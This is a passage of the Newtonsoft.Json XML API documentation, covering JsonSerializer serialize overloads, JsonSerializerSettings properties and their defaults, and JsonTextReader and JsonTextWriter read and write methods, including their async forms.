cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is Auto to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializerSettings\">\n            <summary>\n            Specifies the settings on a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) are handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n            <value>Reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n            <value>Missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n            <value>Null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Converters\">\n            <summary>\n            Gets or sets a <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> collection that will be used during serialization.\n            </summary>\n            <value>The converters.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n            <value>The preserve references handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n            <value>The contract resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>The reference resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.ReferenceResolverProvider\">\n            <summary>\n            Gets or sets a function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n            <value>A function that creates the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n            <value>The binder.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Error\">\n            <summary>\n            Gets or sets the error handler called during serialization and deserialization.\n            </summary>\n            <value>The error handler called during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializerSettings.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializerSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to JSON text data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.#ctor(System.IO.TextReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextReader\"/> class with the specified <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the JSON data to read.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.PropertyNameTable\">\n            <summary>\n            Gets or sets the reader's property name table.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.ArrayPool\">\n            <summary>\n            Gets or sets the reader's character buffer pool.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.TextReader\"/> as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextReader\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>\n            The current line number or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextReader.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>\n            The current line position or 0 if no line information is available (for example, <see cref=\"M:Newtonsoft.Json.JsonTextReader.HasLineInfo\"/> returns <c>false</c>).\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonTextWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.FlushAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiterAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the JSON value delimiter.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.CloseAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of the current JSON object or array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes indent characters.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpaceAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an indent space.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON without changing the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNullAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a null value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an 